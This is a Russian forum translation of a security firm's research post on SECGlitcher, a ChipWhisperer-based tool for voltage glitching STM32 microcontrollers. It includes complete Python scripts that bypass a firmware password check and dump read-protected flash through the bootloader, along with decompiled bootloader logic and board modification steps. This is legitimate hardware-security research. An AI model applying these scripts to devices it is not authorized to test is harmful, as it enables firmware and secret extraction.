SECGlitcher - Воспроизводимый вольтажный глитчинг на микроконтроллерах STM32 (Часть 1)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
1719990887146.png


Вольтажный глитчинг - техника, применяемая в тестировании защиты оборудования. Цель - обойти или изменить нормальную работу устройства путём внедрения глитча - короткого, но точного сбоя в напряжении питания.

Введение в вольтажный глитчинг

Вольтажный глитчинг - метод тестирования защиты оборудования, направленный на обход или изменение нормальной работы устройства путем внедрения глитча - короткого, но точного сбоя в напряжении питания. Такие атаки работают за счет манипуляции напряжением питания устройства в конкретный момент его работы, обычно при выполнении критической операции или функции, связанной с безопасностью.

Нарушение напряжения питания может вызвать неожиданное поведение целевого устройства, проявляющееся в пропуске инструкций или их некорректном выполнении. Это можно использовать для достижения различных целей в области безопасности, таких как:
  • Обход аутентификации​
  • Извлечение секретных ключей​
  • Изменение поведения устройства​
Изображения ниже (рисунок 1 и рисунок 2) показывают схему такой атаки.

1719991327505.png


Рисунок 1: Глюк напряжения, наблюдаемый на осциллографе

1719990887146.png


Рисунок 2. Установка для глитчинга с ChipWhisperer Pro, платой разработки STM32 Nucleo и источником питания. Осциллограф расположен в левой верхней части рисунка (не отображается).

Хотя многие используют самодельные инструменты, существуют и профессиональные решения для эксплуатации подобных уязвимостей. Среди них выделяется серия ChipWhisperer, которая развилась из магистерской работы "A Framework for Embedded Hardware Security Analysis" Колина О'Флинна. ChipWhisperer считается наиболее распространенным устройством для глитчинга.

Для работы был выбран именно ChipWhisperer из-за его доступности. Это устройство позволяет проводить эффективные атаки глитчингом на различные микроконтроллеры, включая серию STM32.

Атака на серию STM32

STM32 - 32-битные микроконтроллеры на базе процессора Arm Cortex-M, широко используемые во встраиваемых системах. Различные варианты подходят как для низкого энергопотребления, так и для высокопроизводительных операций. Одна из опций безопасности - Защита от считывания (RDP).

STM32 предлагает три уровня:

RDP уровень 0: Без защиты
  • Полная отладка разрешена
  • Полный доступ в системном загрузчике
RDP уровень 1: Защита от чтения
  • Запрещен доступ (чтение, стирание, программирование) к флеш-памяти при отладке
  • Другие области памяти, включая память загрузчика, доступны через JTAG
  • Запрещен доступ к любой памяти в системном загрузчике
  • Остальное (RAM, регистры) доступно для чтения
  • Сброс до уровня 0 стирает всю флеш-память
RDP уровень 2: Защита от чтения и отладки
  • Отладка запрещена отключением интерфейсов JTAG и SWD
  • Запуск системного загрузчика запрещен
  • Сброс до уровня 0/1 невозможен
Для чтения флеш-памяти на устройствах с RDP2 необходимо обойти два уровня защиты.

Понижение RDP2 до RDP1

При загрузке проверяется значение регистра RDP. Для RDP2 должно быть установлено значение 0xCC, для RDP0 - 0xAA. Все другие значения по умолчанию интерпретируются как RDP1 (часто используются 0xBB или 0x55).

Если при чтении регистра RDP из-за вольтажного глитча считывается неправильное значение, устройство считает, что находится на уровне RDP1. В результате становятся доступными интерфейсы отладки и загрузчик.

Чтение памяти при RDP1

На уровне RDP1 доступен внутренний системный загрузчик, который предоставляет операцию "Чтение памяти". Эта операция позволяет прочитать 256 байт с указанного пользователем адреса памяти. Однако на уровне RDP1 такое чтение запрещено.

Микроконтроллер обеспечивает это ограничение, проверяя состояние RDP перед каждой операцией чтения. Если эта проверка нарушается вольтажным глитчем, она пропускается, и происходит чтение 256 байт памяти.

Повторяя глитчинг команды чтения, можно последовательно считывать фрагменты прошивки по 256 байт и собрать их в полный дамп.

SECGlitcher

За последние годы было проведено много исследований атак вольтажным глитчингом, как упоминалось во введении. Однако воспроизведение глитчей часто затруднено из-за использования нестандартного оборудования и неопубликованных параметров глитчинга.

Для решения этой проблемы был разработан структурированный подход, который можно будет расширить для других чипов и плат в будущем.

Создан инструмент SECGlitcher, основанный на широко используемом API ChipWhisperer, но более простой в использовании для стандартных сценариев, таких как триггеры UART или GPIO.

Функции SECGlitcher

SECGlitcher разработан на основе наблюдения, что скрипты глитчинга для разных плат имеют схожую структуру. Инструмент предоставляет простой класс, инкапсулирующий команды инициализации и сбора результатов.

Ключевые особенности:
  1. Воспроизводимость глитчей: Включена база данных с валидными параметрами глитчинга для различных МК. Это ускоряет поиск рабочих настроек.
  2. Использование без GUI: Разработан для эффективного запуска через командную строку, что позволяет проводить тесты на удаленных серверах.
  3. Удобный сбор данных: Результаты можно сохранять в CSV-файлы. Предоставлен вспомогательный скрипт для агрегации и визуализации данных из нескольких попыток глитчинга.
  4. Простая настройка: Установка выполняется в виртуальном окружении с помощью PIP, включая пакет chipwhisperer и другие зависимости.
Эти функции позволяют создавать компактные, структурированные скрипты, легко сравнимые для разных плат и чипов. SECGlitcher упрощает процесс глитчинга, делая его более доступным и эффективным.

Настройка

Для глитчинга выбран подход Crowbar Glitching, при котором линия питания чипа замыкается на землю. Базовая настройка для глитчинга плат Nucleo описана на примере STM23L073RZ.

Подготовка платы включает:
  1. Удаление большинства развязывающих конденсаторов с линии питания.
  2. Добавление пинов для подключения глитчера к линии питания.

Модифицированная плата и схема (доступна как MB1136) с указанием удаляемых конденсаторов показаны на рисунках 3, 4 и 5.


Эти модификации необходимы для эффективного проведения атаки Crowbar Glitching. Удаление конденсаторов уменьшает буферизацию напряжения, что делает микроконтроллер более восприимчивым к глитчам. Дополнительные пины обеспечивают точку доступа для инструмента глитчинга.

4b42d2f994e519fb75ff2.jpg


Рисунок 3: Модифицированная плата разработки Nucleo STM32L073RZ

1719992894636.png


Рисунок 4: Отмеченные на схеме конденсаторы необходимо удалить (Источник: MB1136 лист 1)

1719992912986.png


Figure 5: Marked capacitors in the schematic need to be removed (Source: MB1136 sheet 2)

Доработка платы:
  • Пины для глитчера добавлены на освободившиеся контакты конденсатора C28.
  • C23 возвращен на место для ограничения перенапряжения после глитча.
Причины удаления большинства конденсаторов:
  1. Конденсаторы накапливают энергию. При большой ёмкости на линии питания напряжение падает медленно при замыкании.
  2. Малая ёмкость обеспечивает резкое падение напряжения, что необходимо для эффективного глитчинга.
  3. Система управления питанием пытается стабилизировать напряжение, это может вызвать резкий скачок при снятии замыкания.
Аналогия: попытка открыть запертую дверь, когда кто-то внезапно открывает её с другой стороны.
Риск: Резкие скачки напряжения могут повредить чип.
Решение: Сохранение нескольких конденсаторов для защиты от повреждений при сохранении эффективности глитчинга.

Настройка приводит к глитчу, отображаемому на осциллографе (рисунок 6). Кривая напряжения чипа разделяется на четыре фазы:
  1. Нормальная работа:Постоянное напряжение 3.3В
  2. Глитч:Линия питания замыкается на землюРегулятор напряжения пытается удержать напряжение, но безуспешно
  3. Окончание замыкания:Напряжение резко возрастаетРегулятор все еще пытается поднять напряжение
  4. Восстановление:Регулятор начинает стабилизировать напряжение до 3.3ВНаблюдаются затухающие колебания до полной стабилизации
1719993103374.png


Рисунок 6: Кривая напряжения питания микросхемы во время глюка

Настройка глитчинга

При глитчинге новой платы в конфигурации ChipWhisperer учитываются следующие параметры:
  1. Тактирование:
    • ChipWhisperer использует высокую внутреннюю частоту
    • Отсутствует синхронизация с тактовой частотой цели
  2. Ширина глитча:
    • Время замыкания линии питания на землю
    • Измеряется в тактах ChipWhisperer
    • Критический параметр:
      • Слишком мала: напряжение падает недостаточно
      • Слишком велика: чип перезагружается
      • Оптимальное значение: между этими крайностями
  3. Смещение глитча:
    • Задержка после триггера (изменение состояния пина или получение байта по UART)
    • Используется для синхронизации глитча с целевой инструкцией
SECGlitcher упрощает поиск этих параметров:
  • Хранит валидные значения ширины глитча в YAML-файле
  • Позволяет переиспользовать и улучшать настройки
  • Включает примерные смещения для демо-приложений
Настройка SECGlitcher:
  • Абстрактный класс для переопределения
  • Часть функций реализована, другие требуют написания
  • Тактовая частота ChipWhisperer установлена на 100 МГц для максимальной точности

Далее будет представлен пример глитчинга проверки пароля на плате Nucleo STM23L073RZ.

Код целевого МК

C: Скопировать в буфер обмена
Код:
HAL_Init();
SystemClock_Config();
MX_GPIO_Init();
MX_USART2_UART_Init();
 
char set_pw[] = "mysupersecurepassword";
char check_pw[128];
int check_ok = false;
 
char s1[] = "Init successful\n";
HAL_UART_Transmit(&huart2, (uint8_t*)s1, sizeof(s1), HAL_MAX_DELAY);
 
while (!check_ok) {
  char s2[] = "Please enter password:\n";
  HAL_UART_Transmit(&huart2, (uint8_t*)s2, sizeof(s2), HAL_MAX_DELAY);
 
  int i = 0;
  volatile char c = '\0';
  while (c != '\n' && c != '\r' && i < 127) {
    HAL_UART_Receive(&huart2, (uint8_t*)&c, 1, HAL_MAX_DELAY);
    HAL_UART_Transmit(&huart2, (uint8_t*)&c, 1, HAL_MAX_DELAY);
    if (c == '\n' || c == '\r') {
      check_pw[i] = '\0';
    } else {
      check_pw[i] = c;
    }
    i++;
  }
  check_pw[127] = '\0';
 
  if (strcmp(set_pw, check_pw) == 0) {
    check_ok = true;
  }
}
 
HAL_GPIO_TogglePin(LD2_GPIO_Port, LD2_Pin);
 
char s3[] = "Welcome!\n";
HAL_UART_Transmit(&huart2, (uint8_t*)s3, sizeof(s3), HAL_MAX_DELAY);
char s4[] = "This is your secret: supersecretstring\n";
HAL_UART_Transmit(&huart2, (uint8_t*)s4, sizeof(s4), HAL_MAX_DELAY);


Предыдущий поиск валидных параметров глитчинга для этой платы уже включен в конфигурационный файл.


Код: Скопировать в буфер обмена
Код:
stm32l073:
pw: [27, 29, 150, 159]

Далее можно создать скрипт глитчинга с использованием SECGlitcher следующим образом:

Python: Скопировать в буфер обмена
Код:
class MyGlitcher(SECGlitcher):
    def __init__(self, reset_pin='nrst', interactive=False):
        super().__init__(reset_pin)
        self.interactive = interactive
        self.uart = None
 
    def dut_check_init(self):
        log = self.uart.read_until("password:")
        if log.endswith(b"password:\n\x00"):
            return True
        else:
            print("Boot failed!")
            self.scope.io.nrst = "low"
            time.sleep(1)
            return False
 
    def check_glitch(self):
        check = self.uart.readline()
        if b"elcome" in check or b"secret" in check:
            self.add_success()
            print("Glitch successful: Width: {}, Offset: {}".format(*self.success_params[-1]))
            if self.interactive:
                print("Press ENTER to continue")
                input()
        else:
            pass
 
    def dut_uart_init_before_reset(self):
        self.uart = serial.Serial('/dev/ttyACM0', 115200, timeout=0.1)
 
    def dut_uart_write(self):
        self.uart.write(b"\r\n")
 
 
glitcher = MyGlitcher(interactive=True)
glitcher.trigger_setup(trigger='uart', uart_pattern=['\r'])
glitcher.print_config()
glitcher.run(target="stm32l073", app="pw")
glitcher.exit()
glitcher.print_results()
glitcher.save_results()
glitcher.plot_results()

GIF демонстрирует процесс глитчинга проверки пароля в действии.

Figure_7_Password_check_glitching_in_action_Logo.gif



Основные этапы:
  1. Проводятся несколько попыток глитчинга
  2. После нескольких неудачных попыток глитч срабатывает правильно
  3. Проверка пароля пропускается без ввода корректного пароля
  4. Система возвращает секретную информацию
Рисунок 7 ("Password check glitching in action") визуально отображает этот процесс.

Чтение памяти при RDP1

После понижения уровня RDP до 1, появляется возможность глитчинга команды чтения памяти в доступном загрузчике. Активация загрузчика описана в документе AN2606 от STM.

Планируется использование UART-загрузчика на плате STM32F429ZI Nucleo:
  • USART3 или USART1 с конфигурацией 115200 8E1
  • Пин "Boot0" должен быть подтянут к высокому уровню для активации загрузчика
  • Пин "Boot0" и PB10/11 для USART3 доступны на разъеме Nucleo
Протокол описан в AN3155. Для ясности, описание контрольной суммы будет опущено. Подробное описание процесса работы внутреннего загрузчика находится в приложении.

glitch_bootloader_to_download.py
Python: Скопировать в буфер обмена
Код:
from SECGlitcher import SECGlitcher
import time
import signal
import hexdump
from spd3303x import SPD3303X
from stm32bootloader import STM32SerialBootloader
 
 
def power_cycle():
    with SPD3303X.ethernet_device("x.x.x.x") as dev:
        dev.CH1.set_output(False)
        time.sleep(0.1)
        dev.CH1.set_output(True)
        time.sleep(0.5)
 
 
def int_handler(signum, frame):
    global glitcher
    glitcher.exit()
    glitcher.print_results()
    glitcher.save_results()
 
 
signal.signal(signal.SIGINT, int_handler)
 
 
class MyGlitcher(SECGlitcher):
    def __init__(self, dump_addr, dump_len, dump_filename, reset_pin='nrst'):
        super().__init__(reset_pin)
        self.current_dump_addr = dump_addr
        self.current_dump_len = dump_len
        self.dump_filename = dump_filename
        self.uart = None
 
    def dut_uart_init_before_reset(self):
        time.sleep(0.1)
 
    def dut_uart_init_after_reset(self):
        time.sleep(0.1)
        try:
            self.uart = STM32SerialBootloader("/dev/ttyACM1", baud=115200)
            self.uart.cmd_get_id()
        except ValueError:
            print("Bootloader not Activated properly! Something is wrong!")
            self.scope.io.nrst = "low"
            power_cycle()
            time.sleep(0.1)
            return False
        print("Bootloader available")
        return True
 
    def dut_uart_write(self):
        self.uart.cmd_read_memory_part1()
        print("Using width: {} Offset: {} Success: {}".format(self.current_width, self.current_offset, len(self.success_params)))
 
    def check_glitch(self):
        state = self.uart.cmd_read_memory_part2()
        if state == 0:
            try:
                len_to_dump = 256 if (self.current_dump_len // 256) else self.current_dump_len % 256
                data = self.uart.cmd_read_memory_part3(self.current_dump_addr, len_to_dump)
                #print(data)
                if len(data) == len_to_dump:
                    if data != b"\x79" * len_to_dump:
                        with open(self.dump_filename, 'ab+') as f:
                            f.write(data)
                        self.current_dump_addr += len_to_dump
                        self.current_dump_len -= len_to_dump
                        print("Dumped using width: {} offset: {} success: {}".format(self.current_width,
                                                                                     self.current_offset,
                                                                                     len(self.success_params)))
                        print("Dumped 0x{:x} bytes from addr 0x{:x}, {:x} bytes left".format(len_to_dump,
                                                                                             self.current_dump_addr,
                                                                                             self.current_dump_len))
                else:
                    print("Missing some data, but got")
                    hexdump.hexdump(data)
                self.add_success()
            except Exception as e:
                print(e)
                print("Nothing read")
 
 
glitcher = MyGlitcher(0x0800_0000, 0x200000, dump_filename="dumped_firmware.bin")
glitcher.trigger_setup(trigger='uart', parity='even', uart_pattern=[0x11])
glitcher.print_config()
 
power_cycle()
while glitcher.current_dump_len > 0:
    glitcher.run(target="stm32f429", app="bl_mem")
 
glitcher.exit()
glitcher.print_results()
glitcher.save_results()
glitcher.plot_results()

Рисунок 8 демонстрирует успешный глитч. На нижнем канале S1 видно окончание декодированной UART-передачи: 0xEE (контрольная сумма для 0x11).

1719993661785.png


Рисунок 8: Глюк команды MEMORY_READ на STM32F429ZI

Результат ночного запуска скрипта:
  • 622 успешных глитча
  • Извлечено около 155 КБ защищенной прошивки
Анализ файла "dumped_firmware.bin" раскрыл секретный пароль "MySecretPasswordString" (см. рисунок 9).

1719993740870.png


Figure 9: Recovered sample program firmware from STM32F429ZI

Заключение

Проект начался с идеи глитчинга микроконтроллеров STM32, часто встречающихся в IoT-устройствах. Исследование оказалось глубже, чем ожидалось изначально.

Изучение существующих работ по глитчингу STM32 показало отсутствие публичных данных о параметрах и деталях процесса. Это привело к созданию класса SECGlitcher, который:
  • Хранит приблизительные временные диапазоны для плат и МК
  • Упрощает поиск параметров глитчинга
  • Обрабатывает инициализацию и настройку триггеров
  • Поддерживает код компактным и организованным
С помощью SECGlitcher удалось продемонстрировать успешные глитчи:
  • Обход проверки пароля через UART
  • Чтение памяти через загрузчик защищенного STM32
Обнаружены неожиданные препятствия, не упомянутые в других источниках. Это может быть связано с выбором модели STM32. Хотя это замедляет процесс извлечения всей флеш-памяти, уязвимость остается.

Эксперименты показали, что серия микроконтроллеров STM32 должна считаться небезопасной даже при активной защите от чтения. Атакующий может пропускать инструкции, обходить проверки и извлекать полную прошивку.

Класс SECGlitcher значительно улучшил применимость атак глитчингом в повседневных проектах, ускорив настройку и улучшив результаты.

Во второй части серии будет рассмотрен глитчинг STM32 с понижением уровня от RDP2 до RDP1 с последующим дампом содержимого.


Настройка четного бита четности для UART на ChipWhisperer (Техническое углубление)

Загрузчик STM32 использует UART-коммуникацию с четным битом четности, как описано в документе AN3155. Это стало серьезной проблемой при использовании ChipWhisperer, так как он официально не поддерживает биты четности для UART-интерфейса.

Недавно создатель ChipWhisperer, Колин О'Флинн, упомянул в статье о необходимости "пользовательского битстрима для ChipWhisperer-Pro из-за требования четного бита четности в загрузчике".

Однако было найдено альтернативное решение:
  1. Поддержка четного бита четности реализована в FPGA с апреля 2021 года.
  2. Нет необходимости в пользовательском битстриме.
  3. Требовалось только найти способ активации этой функции.
Это открытие позволило использовать ChipWhisperer для работы с загрузчиком STM32 без дополнительных модификаций оборудования, упростив процесс глитчинга и реверса.

GitHub-issue от апреля 2021 показывает, что некоторые регистры конфигурации UART были выставлены в интерфейс для использования в Python. Реализация UART "targ_async_receiver" инициализируется в строке 198 reg_decodeiotrigger, где разбираются IO-регистры. Здесь байт 2 "reg_trig_cfg" установлен как "module_specific", и бит "even_parity" оказался первым битом этого байта. Поэтому с радостью представляем решение для установки режима четного бита четности на UART ChipWhisperer ниже, где устанавливается четный бит четности.

Python: Скопировать в буфер обмена
Код:
CODE_READ = 0x80
CODE_WRITE = 0xC0
ADDR_DECODECFG = 57
ADDR_DECODEDATA = 58
data = self.scope.decode_IO.oa.sendMessage(CODE_READ, ADDR_DECODECFG, Validate=False, maxResp=8)
data[1] = data[1] | 0x01
self.scope.decode_IO.oa.sendMessage(CODE_WRITE, ADDR_DECODECFG, data)

Этот код также реализован в классе SECGlitcher.

История непостоянного таймиинга (Технический инсайд)

При попытке выполнить глитч для чтения памяти было замечено странное явление:
  1. Значение в регистре RDP (контролирующем состояние блокировки) иногда менялось на 0x55.
  2. Регистр SPRMOD (специальная функция защиты от записи в этой модели STM32) иногда менялся на 0x01.
Это было неожиданно, так как запись в эти регистры не производилась.
Предположение: глитч происходит на другом пути загрузчика.
Дальнейшее исследование выявило еще одну аномалию: ответ UART не был постоянным, а случайно смещался в большом временном окне.
Рисунки 10 и 11 демонстрируют разницу до 8 мкс (S1 показывает декодированную UART-коммуникацию).

Поскольку глитч выполняется с фиксированным смещением от команды, фактически он происходит крайне недетерминированно.

1719994125927.png


Рисунок 10: Загрузчик STM32 с быстрым ответом

1719994151845.png


Рисунок 11: Загрузчик STM32 с отложенным ответом

После исключения других возможных причин, было проведено исследование различных тактовых доменов UART-оборудования и самого чипа.

Ключевые моменты:
  1. UART поддерживает максимальную скорость передачи 115200 бод.
  2. Эта скорость значительно ниже по сравнению с 60 МГц, на которой работает ядро во время выполнения загрузчика.
Рисунок 12 ниже предоставляет обзор реализованного UART-оборудования.

1719994206462.png


Рисунок 12: Блок-схема реализации USART (Источник: RM0090 Figure 296)

Из нижней части рисунка 12 видно:
  1. Тактовая частота ядра fPCLKx модифицируется делителем USARTDIV (на основе скорости передачи).
  2. Дополнительный делитель используется перед применением частоты как тактовой для передатчика и приемника.
Это означает, что UART-оборудование работает значительно медленнее внутреннего ядра. Все данные, отправляемые и получаемые через UART, должны пересекать границу между медленным и быстрым тактовыми доменами.

Для проверки наблюдения был проведен статистический анализ задержки ответа при разных скоростях передачи. Гипотеза: если средняя задержка коррелирует со скоростью передачи, то задержка вызвана медленным тактовым доменом UART.

Были созданы множественные графики для 1000 выполнений. Графики для самой быстрой и самой медленной проверенных скоростей передачи показаны на рисунках 13 и 14.
1719994268280.png


Рисунок 13+14: Диаграмма рассеяния и распределение времени отклика UART для скорости передачи данных 9600

1719994285264.png


Рисунок 15+16: Диаграмма рассеяния и распределение времени отклика UART для скорости передачи 115200

Графики показывают значительное изменение задержки для разных скоростей передачи (с соотношением 12:1).

Статистика для скорости 9600 бод:
  • Мин. задержка: 59.012 мкс
  • Макс. задержка: 163.130 мкс
  • Средняя задержка: 104.118 мкс
Статистика для скорости 115200 бод:
  • Мин. задержка: 4.400 мкс
  • Макс. задержка: 15.628 мкс
  • Средняя задержка: 11.228 мкс
Анализируя среднюю задержку, видим соотношение примерно 9.3:1. Предполагая фиксированную базовую задержку (из-за обработки и вычисления ответа), это хорошо согласуется с исходным предположением.

Выводы:
  1. Задержка из-за медленной тактовой частоты UART-оборудования является неотъемлемым препятствием для эффективного глитчинга.
  2. Это может приводить к непредвиденным побочным эффектам из-за смещения параметров выполнения.
Возможное решение:Использование только самых коротких возможных параметров задержки глитча. Это может смягчить эффекты, так как функции, ответственные за некоторые нежелательные побочные эффекты, расположены после команды MEMORY_READ.

Загрузчик STM32

Здесь обобщаются важные части протокола загрузчика, документированные в AN3155. Следующая блок-схема (рисунок 17) показывает последовательность активации загрузчика:

1719994418567.png


Рисунок 17: Последовательность активации загрузчика STM32 (Источник: AN3155 Рисунок 1)

Поэтому первоначально необходимо передать 0x7F, чтобы активировать цикл загрузчика UART. Команда GET_ID для проверки правильности активации реализована следующим образом (рисунок 18):

1719994464034.png


Рисунок 18: Последовательность команд GET_ID (Источник: AN3155 Рисунок 6)

Последовательность действий для проверки и использования загрузчика:
  1. Отправка команды:
    • Отправляем 0x02
    • Отправляем 0xFD (контрольная сумма)
  2. Ожидаемый ответ при полностью рабочем загрузчике:
    • ACK (0x79)
    • PID (в данном случае 0x429)
  3. После подтверждения работоспособности загрузчика можно использовать команду READ_MEMORY.
1719994516035.png


Рисунок 19+20: Последовательность команд READ_MEMORY для хоста (исходный рисунок 19: AN3155 Рисунок 8) и устройства (исходный рисунок 20: AN3155 Рисунок 9)

Анализ рисунка 19 показывает простую команду:
  1. Пользователь отправляет 0x11 (команда) и 0xEE (контрольная сумма).
  2. После получения ACK отправляется адрес (например, 0x8000000 для начала FLASH-памяти) и его контрольная сумма (XOR всех байтов адреса).
  3. МК принимает адрес и отправляет ACK.
  4. Отправляется количество байт для чтения (обычно 0xFF для дампа 256 байт) и контрольная сумма 0x00.
В режиме RDP1 команда не получит подтверждения ACK.
Для дампа памяти необходимо глитчить проверку "Protection active?".
Для анализа реализации этой проверки был сдампен код загрузчика (начиная с 0x1fffc000) и проанализирован в Ghidra.

Структура кода:
  1. Бесконечный цикл сбрасывает сторожевой таймер и принимает два байта по UART (команда и контрольная сумма).
  2. Проверяется контрольная сумма.
  3. При корректной сумме выполняется большой оператор if-else.
Команда READ_MEMORY (0x11) обрабатывается в строке 75 анализируемого кода (код 1).

Код: Скопировать в буфер обмена
Код:
LAB_1fff0c3c:
while( true ) {
  while( true ) {
    ptr_iwdg_base_reg->IWDG_KR = 0xaaaa;
    orig_cmd = uart_get_char();
    chksum = uart_get_char();
    if ((chksum ^ orig_cmd) != 0xff) {
      orig_cmd = 0x55;
    }
    cmd = (uint)orig_cmd;
Код 1: Реализация загрузчика STM32 для чтения команд UART

Код: Скопировать в буфер обмена
cmd_compare = cmd == 0x11;/* READ_MEMORY */if ((bool)cmd_compare) { addr = check_RDP_and_get_addr(); addr_valid = check_addr_valid_wrapper(addr); compare_res_eq_1((uint)addr_valid);
Код 2: Реализация загрузчика STM32 для перехода к команде READ_MEMORY

Анализ кода загрузчика после приема команды:
  1. Вызывается функция check_RDP_and_get_addr().
  2. Эта функция:
    • Проверяет статус RDP (чтение регистра, сравнение с 0xAA - незаблокированное состояние)
    • Отправляет ACK для команды
    • Считывает адрес и контрольную сумму по UART
  3. Цель для глитчинга: оператор if проверки is_rdp_enabled в строке 15 (код 3).
  4. Успешный глитч:
    • Пропуск этой инструкции
    • Выполнение остальной части команды, несмотря на активный RDP1
Код: Скопировать в буфер обмена
Код:
uint32_t check_RDP_and_get_addr(void)
{
    byte bVar1;
    byte bVar2;
    byte bVar3;
    byte bVar4;
    byte bVar5;
    int is_rdp_enabled;

    is_rdp_enabled = is_RDP_enabled();
    if (is_rdp_enabled == 0) {
        usart_write_byte(0x79);
        bVar1 = uart_get_char();
        bVar2 = uart_get_char();
        bVar3 = uart_get_char();
        bVar4 = uart_get_char();
        bVar5 = uart_get_char();
        if (bVar5 == (byte)(bVar3 ^ bVar1 ^ bVar2 ^ bVar4)) {
            usart_write_byte(0x79);
            return (uint)bVar2 << 0x10 | (uint)bVar1 << 0x18 | (uint)CONCAT11(bVar3,bVar4);
        }
    }
    return 0x55555555;
}
Код 3: Реализация загрузчика STM32 для проверки RDP и чтения памяти по заданному адресу

Для подготовки к глитчингу цели необходимо реализовать протокол, описанный выше, для некоторых команд загрузчика STM32.

Результирующий класс включает различные функции "cmd_read_memory_partX", которые теперь можно использовать для глитчинга. Эти функции разделяют команду на три фазы, основываясь на проанализированном выше потоке:
  1. Фаза инициализации
  2. Фаза оценки
  3. Фаза дампа
Такое разделение позволяет более точно контролировать процесс глитчинга, фокусируясь на конкретных этапах выполнения команды чтения памяти.

Переведено специально для XSS.is
Автор перевода: ordinaria1
Источник: sec-consult.com/blog/detail/secglitcher-part-1-reproducible-voltage-glitching-on-stm32-microcontrollers/
 
Сверху Снизу